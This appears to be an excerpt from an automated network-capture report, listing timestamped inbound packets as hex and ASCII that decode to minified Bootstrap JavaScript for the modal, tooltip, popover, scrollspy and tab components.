6f 6f 6c 65 61 6e 22 2c 73 68 6f 77 3a 22 62 6f 6f 6c 65 61 6e 22 7d 2c 6f 65 3d 7b 48 49 44 45 3a 22 68 69 Data Ascii: ct=function(){return bt.fn[St]=wt,Gt._jQueryInterface},Gt),Yn=(Xt="modal",ee="."+(te="bs.modal"),ne=($t=e).fn[Xt],ie={backdrop:!0,keyboard:!0,focus:!0,show:!0},re={backdrop:"(boolean\|string)",keyboard:"boolean",focus:"boolean",show:"boolean"},oe={HIDE:"hi
2021-10-25 16:17:23 UTC	259	IN	Data Raw: 61 72 28 29 2c 74 68 69 73 2e 5f 73 65 74 53 63 72 6f 6c 6c 62 61 72 28 29 2c 74 68 69 73 2e 5f 61 64 6a 75 73 74 44 69 61 6c 6f 67 28 29 2c 24 74 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 61 64 64 43 6c 61 73 73 28 6c 65 29 2c 74 68 69 73 2e 5f 73 65 74 45 73 63 61 70 65 45 76 65 6e 74 28 29 2c 74 68 69 73 2e 5f 73 65 74 52 65 73 69 7a 65 45 76 65 6e 74 28 29 2c 24 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 6f 65 2e 43 4c 49 43 4b 5f 44 49 53 4d 49 53 53 2c 64 65 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 68 69 64 65 28 74 29 7d 29 2c 24 74 28 74 68 69 73 2e 5f 64 69 61 6c 6f 67 29 2e 6f 6e 28 6f 65 2e 4d 4f 55 53 45 44 4f 57 4e 5f 44 49 53 4d 49 53 53 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 24 74 28 65 2e 5f 65 Data Ascii: ar(),this._setScrollbar(),this._adjustDialog(),$t(document.body).addClass(le),this._setEscapeEvent(),this._setResizeEvent(),$t(this._element).on(oe.CLICK_DISMISS,de,function(t){return e.hide(t)}),$t(this._dialog).on(oe.MOUSEDOWN_DISMISS,function(){$t(e._e
2021-10-25 16:17:23 UTC	261	IN	Data Raw: 61 6e 64 6c 65 55 70 64 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 61 64 6a 75 73 74 44 69 61 6c 6f 67 28 29 7d 2c 74 2e 5f 67 65 74 43 6f 6e 66 69 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 69 65 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 58 74 2c 74 2c 72 65 29 2c 74 7d 2c 74 2e 5f 73 68 6f 77 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 24 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 63 65 29 3b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 4e Data Ascii: andleUpdate=function(){this._adjustDialog()},t._getConfig=function(t){return t=l({},ie,t),Fn.typeCheckConfig(Xt,t,re),t},t._showElement=function(t){var e=this,n=$t(this._element).hasClass(ce);this._element.parentNode&&this._element.parentNode.nodeType===N
2021-10-25 16:17:23 UTC	262	IN	Data Raw: 52 45 53 49 5a 45 29 7d 2c 74 2e 5f 68 69 64 65 4d 6f 64 61 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 2c 21 30 29 2c 74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 21 31 2c 74 68 69 73 2e 5f 73 68 6f 77 42 61 63 6b 64 72 6f 70 28 66 75 6e 63 74 69 6f 6e 28 29 7b 24 74 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 6c 65 29 2c 74 2e 5f 72 65 73 65 74 41 64 6a 75 73 74 6d 65 6e 74 73 28 29 2c 74 2e 5f 72 65 73 65 74 53 63 72 6f 6c 6c 62 61 72 28 29 2c Data Ascii: RESIZE)},t._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._isTransitioning=!1,this._showBackdrop(function(){$t(document.body).removeClass(le),t._resetAdjustments(),t._resetScrollbar(),
2021-10-25 16:17:23 UTC	263	IN	Data Raw: 29 7d 2c 74 2e 5f 61 64 6a 75 73 74 44 69 61 6c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 63 72 6f 6c 6c 48 65 69 67 68 74 3e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 3b 21 74 68 69 73 2e 5f 69 73 42 6f 64 79 4f 76 65 72 66 6c 6f 77 69 6e 67 26 26 74 26 26 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 2e 70 61 64 64 69 6e 67 4c 65 66 74 3d 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 62 61 72 57 69 64 74 68 2b 22 70 78 22 29 2c 74 68 69 73 2e 5f 69 73 42 6f 64 79 4f 76 65 72 66 6c 6f 77 69 6e 67 26 26 21 74 26 26 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 2e 70 61 64 64 69 6e 67 52 69 67 68 74 3d 74 68 Data Ascii: )},t._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=th
2021-10-25 16:17:23 UTC	265	IN	Data Raw: 61 28 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 22 29 3b 24 74 28 65 29 2e 72 65 6d 6f 76 65 44 61 74 61 28 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 22 29 2c 65 2e 73 74 79 6c 65 2e 70 61 64 64 69 6e 67 52 69 67 68 74 3d 6e 7c 7c 22 22 7d 29 3b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 22 2b 5f 65 29 29 3b 24 74 28 65 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 24 74 28 65 29 2e 64 61 74 61 28 22 6d 61 72 67 69 6e 2d 72 69 67 68 74 22 29 3b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6e 26 26 24 74 28 65 29 2e 63 73 73 28 22 6d 61 72 67 69 6e 2d 72 69 67 68 74 22 2c 6e 29 2e 72 65 6d 6f 76 65 44 61 74 61 Data Ascii: a("padding-right");$t(e).removeData("padding-right"),e.style.paddingRight=n\|\|""});var e=[].slice.call(document.querySelectorAll(""+_e));$t(e).each(function(t,e){var n=$t(e).data("margin-right");"undefined"!=typeof n&&$t(e).css("margin-right",n).removeData
2021-10-25 16:17:23 UTC	266	IN	Data Raw: 24 74 28 6e 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 6e 2e 66 6f 63 75 73 28 29 7d 29 7d 29 3b 6d 65 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 24 74 28 65 29 2c 72 2c 74 68 69 73 29 7d 29 2c 24 74 2e 66 6e 5b 58 74 5d 3d 6d 65 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 24 74 2e 66 6e 5b 58 74 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 6d 65 2c 24 74 2e 66 6e 5b 58 74 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 24 74 2e 66 6e 5b 58 74 5d 3d 6e 65 2c 6d 65 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 6d 65 29 2c 7a 6e 3d 28 76 65 3d 22 74 6f 6f 6c 74 69 70 22 2c 45 65 3d 22 2e 22 2b 28 79 65 3d 22 62 73 2e 74 6f 6f 6c 74 69 70 22 29 2c 43 65 3d 28 Data Ascii: $t(n).is(":visible")&&n.focus()})});me._jQueryInterface.call($t(e),r,this)}),$t.fn[Xt]=me._jQueryInterface,$t.fn[Xt].Constructor=me,$t.fn[Xt].noConflict=function(){return $t.fn[Xt]=ne,me._jQueryInterface},me),zn=(ve="tooltip",Ee="."+(ye="bs.tooltip"),Ce=(
2021-10-25 16:17:23 UTC	267	IN	Data Raw: 54 79 70 65 45 72 72 6f 72 28 22 42 6f 6f 74 73 74 72 61 70 20 74 6f 6f 6c 74 69 70 73 20 72 65 71 75 69 72 65 20 50 6f 70 70 65 72 2e 6a 73 20 28 68 74 74 70 73 3a 2f 2f 70 6f 70 70 65 72 2e 6a 73 2e 6f 72 67 29 22 29 3b 74 68 69 73 2e 5f 69 73 45 6e 61 62 6c 65 64 3d 21 30 2c 74 68 69 73 2e 5f 74 69 6d 65 6f 75 74 3d 30 2c 74 68 69 73 2e 5f 68 6f 76 65 72 53 74 61 74 65 3d 22 22 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72 3d 7b 7d 2c 74 68 69 73 2e 5f 70 6f 70 70 65 72 3d 6e 75 6c 6c 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3d 74 2c 74 68 69 73 2e 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 65 29 2c 74 68 69 73 2e 74 69 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 73 65 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 Data Ascii: TypeError("Bootstrap tooltips require Popper.js (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var
2021-10-25 16:17:23 UTC	269	IN	Data Raw: 73 65 20 75 73 65 20 73 68 6f 77 20 6f 6e 20 76 69 73 69 62 6c 65 20 65 6c 65 6d 65 6e 74 73 22 29 3b 76 61 72 20 74 3d 70 65 2e 45 76 65 6e 74 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 53 48 4f 57 29 3b 69 66 28 74 68 69 73 2e 69 73 57 69 74 68 43 6f 6e 74 65 6e 74 28 29 26 26 74 68 69 73 2e 5f 69 73 45 6e 61 62 6c 65 64 29 7b 70 65 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 74 29 3b 76 61 72 20 6e 3d 70 65 2e 63 6f 6e 74 61 69 6e 73 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 3b 69 66 28 74 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 7c 7c 21 6e 29 72 65 Data Ascii: se use show on visible elements");var t=pe.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){pe(this.element).trigger(t);var n=pe.contains(this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()\|\|!n)re
2021-10-25 16:17:23 UTC	270	IN	Data Raw: 6c 2c 70 65 2e 6e 6f 6f 70 29 3b 76 61 72 20 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 63 6f 6e 66 69 67 2e 61 6e 69 6d 61 74 69 6f 6e 26 26 65 2e 5f 66 69 78 54 72 61 6e 73 69 74 69 6f 6e 28 29 3b 76 61 72 20 74 3d 65 2e 5f 68 6f 76 65 72 53 74 61 74 65 3b 65 2e 5f 68 6f 76 65 72 53 74 61 74 65 3d 6e 75 6c 6c 2c 70 65 28 65 2e 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 53 48 4f 57 4e 29 2c 74 3d 3d 3d 77 65 26 26 65 2e 5f 6c 65 61 76 65 28 6e 75 6c 6c 2c 65 29 7d 3b 69 66 28 70 65 28 74 68 69 73 2e 74 69 70 29 2e 68 61 73 43 6c 61 73 73 28 4f 65 29 29 7b 76 61 72 20 63 3d 46 6e 2e 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 Data Ascii: l,pe.noop);var l=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,pe(e.element).trigger(e.constructor.Event.SHOWN),t===we&&e._leave(null,e)};if(pe(this.tip).hasClass(Oe)){var c=Fn.getTransitionDurationFromElement(th
2021-10-25 16:17:23 UTC	271	IN	Data Raw: 33 37 61 37 0d 0a 6c 61 73 73 28 54 65 2b 22 2d 22 2b 74 29 7d 2c 74 2e 67 65 74 54 69 70 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 69 70 3d 74 68 69 73 2e 74 69 70 7c 7c 70 65 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 65 6d 70 6c 61 74 65 29 5b 30 5d 2c 74 68 69 73 2e 74 69 70 7d 2c 74 2e 73 65 74 43 6f 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 67 65 74 54 69 70 45 6c 65 6d 65 6e 74 28 29 3b 74 68 69 73 2e 73 65 74 45 6c 65 6d 65 6e 74 43 6f 6e 74 65 6e 74 28 70 65 28 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 50 65 29 29 2c 74 68 69 73 2e 67 65 74 54 69 74 6c 65 28 29 29 2c 70 65 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 4f 65 2b 22 20 22 Data Ascii: 37a7lass(Te+"-"+t)},t.getTipElement=function(){return this.tip=this.tip\|\|pe(this.config.template)[0],this.tip},t.setContent=function(){var t=this.getTipElement();this.setElementContent(pe(t.querySelectorAll(Pe)),this.getTitle()),pe(t).removeClass(Oe+" "
2021-10-25 16:17:23 UTC	273	IN	Data Raw: 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6f 72 69 67 69 6e 61 6c 2d 74 69 74 6c 65 22 29 3b 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 29 7c 7c 22 73 74 72 69 6e 67 22 21 3d 3d 74 29 26 26 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6f 72 69 67 69 6e 61 6c 2d 74 69 74 6c 65 22 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 29 7c 7c 22 22 29 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 2c 22 22 29 29 7d 2c 74 2e 5f Data Ascii: nction(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")\|\|"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")\|\|""),this.element.setAttribute("title",""))},t._
2021-10-25 16:17:23 UTC	274	IN	Data Raw: 74 2c 70 65 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 2e 64 61 74 61 28 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 3f 74 3a 7b 7d 29 29 2e 64 65 6c 61 79 26 26 28 74 2e 64 65 6c 61 79 3d 7b 73 68 6f 77 3a 74 2e 64 65 6c 61 79 2c 68 69 64 65 3a 74 2e 64 65 6c 61 79 7d 29 2c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 2e 74 69 74 6c 65 26 26 28 74 2e 74 69 74 6c 65 3d 74 2e 74 69 74 6c 65 2e 74 6f 53 74 72 69 6e 67 28 29 29 2c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 2e 63 6f 6e 74 65 6e 74 26 26 28 74 2e 63 6f 6e 74 65 6e 74 3d 74 2e 63 6f 6e 74 65 6e 74 2e 74 6f 53 74 72 69 6e 67 28 29 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 76 65 2c 74 2c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f Data Ascii: t,pe(this.element).data(),"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),Fn.typeCheckConfig(ve,t,this.constructo
2021-10-25 16:17:23 UTC	275	IN	Data Raw: 79 3a 22 44 41 54 41 5f 4b 45 59 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 65 7d 7d 2c 7b 6b 65 79 3a 22 45 76 65 6e 74 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4e 65 7d 7d 2c 7b 6b 65 79 3a 22 45 56 45 4e 54 5f 4b 45 59 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 45 65 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6c 74 54 79 70 65 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 53 65 7d 7d 5d 29 2c 69 7d 28 29 2c 70 65 2e 66 6e 5b 76 65 5d 3d 57 65 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 70 65 2e 66 6e 5b 76 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 57 65 2c 70 65 2e 66 6e 5b 76 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 Data Ascii: y:"DATA_KEY",get:function(){return ye}},{key:"Event",get:function(){return Ne}},{key:"EVENT_KEY",get:function(){return Ee}},{key:"DefaultType",get:function(){return Se}}]),i}(),pe.fn[ve]=We._jQueryInterface,pe.fn[ve].Constructor=We,pe.fn[ve].noConflict=fu
2021-10-25 16:17:23 UTC	277	IN	Data Raw: 29 5b 30 5d 2c 74 68 69 73 2e 74 69 70 7d 2c 72 2e 73 65 74 43 6f 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 65 28 74 68 69 73 2e 67 65 74 54 69 70 45 6c 65 6d 65 6e 74 28 29 29 3b 74 68 69 73 2e 73 65 74 45 6c 65 6d 65 6e 74 43 6f 6e 74 65 6e 74 28 74 2e 66 69 6e 64 28 5a 65 29 2c 74 68 69 73 2e 67 65 74 54 69 74 6c 65 28 29 29 3b 76 61 72 20 65 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 74 65 6e 74 28 29 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 28 65 3d 65 2e 63 61 6c 6c 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 29 2c 74 68 69 73 2e 73 65 74 45 6c 65 6d 65 6e 74 43 6f 6e 74 65 6e 74 28 74 2e 66 69 6e 64 28 47 65 29 2c 65 29 2c 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 7a 65 2b 22 20 22 2b 4a 65 29 7d Data Ascii: )[0],this.tip},r.setContent=function(){var t=Ue(this.getTipElement());this.setElementContent(t.find(Ze),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(Ge),e),t.removeClass(ze+" "+Je)}
2021-10-25 16:17:23 UTC	278	IN	Data Raw: 2c 74 61 72 67 65 74 3a 22 28 73 74 72 69 6e 67 7c 65 6c 65 6d 65 6e 74 29 22 7d 2c 6c 6e 3d 7b 41 43 54 49 56 41 54 45 3a 22 61 63 74 69 76 61 74 65 22 2b 72 6e 2c 53 43 52 4f 4c 4c 3a 22 73 63 72 6f 6c 6c 22 2b 72 6e 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 72 6e 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 63 6e 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 2c 68 6e 3d 22 61 63 74 69 76 65 22 2c 75 6e 3d 27 5b 64 61 74 61 2d 73 70 79 3d 22 73 63 72 6f 6c 6c 22 5d 27 2c 66 6e 3d 22 2e 61 63 74 69 76 65 22 2c 64 6e 3d 22 2e 6e 61 76 2c 20 2e 6c 69 73 74 2d 67 72 6f 75 70 22 2c 67 6e 3d 22 2e 6e 61 76 2d 6c 69 6e 6b 22 2c 5f 6e 3d 22 2e 6e 61 76 2d 69 74 65 6d 22 2c 6d 6e 3d 22 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 22 2c Data Ascii: ,target:"(string\|element)"},ln={ACTIVATE:"activate"+rn,SCROLL:"scroll"+rn,LOAD_DATA_API:"load"+rn+".data-api"},cn="dropdown-item",hn="active",un='[data-spy="scroll"]',fn=".active",dn=".nav, .list-group",gn=".nav-link",_n=".nav-item",mn=".list-group-item",
2021-10-25 16:17:23 UTC	279	IN	Data Raw: 2e 5f 6f 66 66 73 65 74 73 2e 70 75 73 68 28 74 5b 30 5d 29 2c 65 2e 5f 74 61 72 67 65 74 73 2e 70 75 73 68 28 74 5b 31 5d 29 7d 29 7d 2c 74 2e 64 69 73 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 6e 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 6e 6e 29 2c 74 6e 28 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 29 2e 6f 66 66 28 72 6e 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 73 65 6c 65 63 74 6f 72 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 6f 66 66 73 65 74 73 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 74 61 72 67 65 74 73 3d 6e 75 6c 6c 2c 74 68 69 73 Data Ascii: ._offsets.push(t[0]),e._targets.push(t[1])})},t.dispose=function(){tn.removeData(this._element,nn),tn(this._scrollElement).off(rn),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this
2021-10-25 16:17:23 UTC	281	IN	Data Raw: 61 63 74 69 76 65 54 61 72 67 65 74 21 3d 3d 74 68 69 73 2e 5f 74 61 72 67 65 74 73 5b 72 5d 26 26 74 3e 3d 74 68 69 73 2e 5f 6f 66 66 73 65 74 73 5b 72 5d 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 5f 6f 66 66 73 65 74 73 5b 72 2b 31 5d 7c 7c 74 3c 74 68 69 73 2e 5f 6f 66 66 73 65 74 73 5b 72 2b 31 5d 29 26 26 74 68 69 73 2e 5f 61 63 74 69 76 61 74 65 28 74 68 69 73 2e 5f 74 61 72 67 65 74 73 5b 72 5d 29 7d 7d 7d 2c 74 2e 5f 61 63 74 69 76 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 61 63 74 69 76 65 54 61 72 67 65 74 3d 65 2c 74 68 69 73 2e 5f 63 6c 65 61 72 28 29 3b 76 61 72 20 74 3d 74 68 69 73 2e 5f 73 65 6c 65 63 74 6f 72 2e 73 70 6c 69 74 28 22 2c 22 29 3b 74 3d 74 2e 6d 61 70 28 66 75 Data Ascii: activeTarget!==this._targets[r]&&t>=this._offsets[r]&&("undefined"==typeof this._offsets[r+1]\|\|t<this._offsets[r+1])&&this._activate(this._targets[r])}}},t._activate=function(e){this._activeTarget=e,this._clear();var t=this._selector.split(",");t=t.map(fu
2021-10-25 16:17:23 UTC	282	IN	Data Raw: 5b 65 6e 5d 3d 6f 6e 2c 54 6e 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 54 6e 29 2c 47 6e 3d 28 49 6e 3d 22 2e 22 2b 28 53 6e 3d 22 62 73 2e 74 61 62 22 29 2c 41 6e 3d 28 62 6e 3d 65 29 2e 66 6e 2e 74 61 62 2c 44 6e 3d 7b 48 49 44 45 3a 22 68 69 64 65 22 2b 49 6e 2c 48 49 44 44 45 4e 3a 22 68 69 64 64 65 6e 22 2b 49 6e 2c 53 48 4f 57 3a 22 73 68 6f 77 22 2b 49 6e 2c 53 48 4f 57 4e 3a 22 73 68 6f 77 6e 22 2b 49 6e 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 49 6e 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 77 6e 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 2c 4e 6e 3d 22 61 63 74 69 76 65 22 2c 4f 6e 3d 22 64 69 73 61 62 6c 65 64 22 2c 6b 6e 3d 22 66 61 64 65 22 2c 50 6e 3d 22 73 68 6f 77 22 2c 6a 6e 3d 22 2e 64 Data Ascii: [en]=on,Tn._jQueryInterface},Tn),Gn=(In="."+(Sn="bs.tab"),An=(bn=e).fn.tab,Dn={HIDE:"hide"+In,HIDDEN:"hidden"+In,SHOW:"show"+In,SHOWN:"shown"+In,CLICK_DATA_API:"click"+In+".data-api"},wn="dropdown-menu",Nn="active",On="disabled",kn="fade",Pn="show",jn=".d
2021-10-25 16:17:23 UTC	283	IN	Data Raw: 2e 5f 65 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 7d 2c 74 2e 5f 61 63 74 69 76 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 2c 72 3d 28 22 55 4c 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 62 6e 28 65 29 2e 66 69 6e 64 28 52 6e 29 3a 62 6e 28 65 29 2e 63 68 69 6c 64 72 65 6e 28 4c 6e 29 29 5b 30 5d 2c 6f 3d 6e 26 26 72 26 26 62 6e 28 72 29 2e 68 61 73 43 6c 61 73 73 28 6b 6e 29 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 2e 5f 74 72 61 6e 73 69 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 28 74 2c 72 2c 6e 29 7d 3b 69 66 28 72 26 26 6f 29 7b 76 61 72 20 61 3d 46 6e 2e 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 72 29 3b 62 6e 28 72 29 2e 6f 6e 65 28 Data Ascii: ._element=null},t._activate=function(t,e,n){var i=this,r=("UL"===e.nodeName?bn(e).find(Rn):bn(e).children(Ln))[0],o=n&&r&&bn(r).hasClass(kn),s=function(){return i._transitionComplete(t,r,n)};if(r&&o){var a=Fn.getTransitionDurationFromElement(r);bn(r).one(
